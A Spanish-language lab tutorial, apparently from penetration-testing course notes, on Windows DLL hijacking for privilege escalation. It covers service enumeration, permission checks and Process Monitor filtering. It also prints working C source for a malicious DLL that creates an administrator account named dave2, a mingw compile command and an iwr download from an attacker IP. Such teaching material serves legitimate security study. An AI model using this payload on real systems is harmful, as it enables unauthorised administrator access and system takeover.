Los DLL son ejecutables que son ejecutados a la hora de correr un servicio, cada servicio arrastra múltiples DLL, y muchas veces no existen en el equipo, y ahí es cuando podemos abusar de ello. Un servicio, cuando no encuentra un DLL, lo busca en el equipo el siguiente orden:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

Si un DLL no es encontrado en el sistema, y nosotros nos encontramos en nuestro directorio C:\Users\steve\Documents, podemos situar un DLL malicioso en nuestro directorio, y sabemos que en algún momento el servicio lo buscará y lo ejecutará, mejor explicado durante el proceso.

En primer lugar, tenemos que enumerar los servicios

PS C:\\Users\\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Name                      State   PathName
----                      -----   --------
...
BetaService               Running C:\\Users\\steve\\Documents\\BetaServ.exe
...

Comprobamos permisos

PS C:\\Users\\steve> icacls .\\Documents\\BetaServ.exe
.\\Documents\\BetaServ.exe NT AUTHORITY\\SYSTEM:(F)
                         BUILTIN\\Administrators:(F)
                         CLIENTWK220\\steve:(RX)
                         CLIENTWK220\\offsec:(F)

Successfully processed 1 files; Failed processing 0 files

En este caso no tenemos permisos, pero vamos a arrancar el process monitor, y visualizar si hay DLL no encontrados en este servicio para suplantarlos.

Introducimos los siguientes filtros, para este servicio: Process Name as Column, is as Relation, BetaServ.exe as Value, and Include as Action. Once entered, we'll click on Add.

430e1aa80d980c8e9160be549733996c-privesc_svcdll_pmfilter.png

Una vez eso realizado, restablecemos el servicio desde powershell

PS C:\\Users\\steve> Restart-Service BetaService
WARNING: Waiting for service 'BetaService (BetaService)' to start...

Y observamos el process monitor

96d3cc822281c7d597412e0b78698a2f-privesc_svcdll_dllsearch.png

Podemos ver como hay muchos DLL que se han buscado y se encuetran en NOT FOUND, vemos también que ha intentado buscarse en nuestro directorio C:\Users\steve\Documents, donde tenemos permisos para meter un archivo.

Procedemos a crear un DLL malicioso y compilarlo

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
kali@kali:~$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

Lo transferimos a la maquina a la ruta donde ha buscado el archivo “C:\Users\steve\Documents”

PS C:\\Users\\steve> cd Documents

PS C:\\Users\\steve\\Documents> iwr -uri <http://192.168.119.3/myDLL.dll> -Outfile myDLL.dll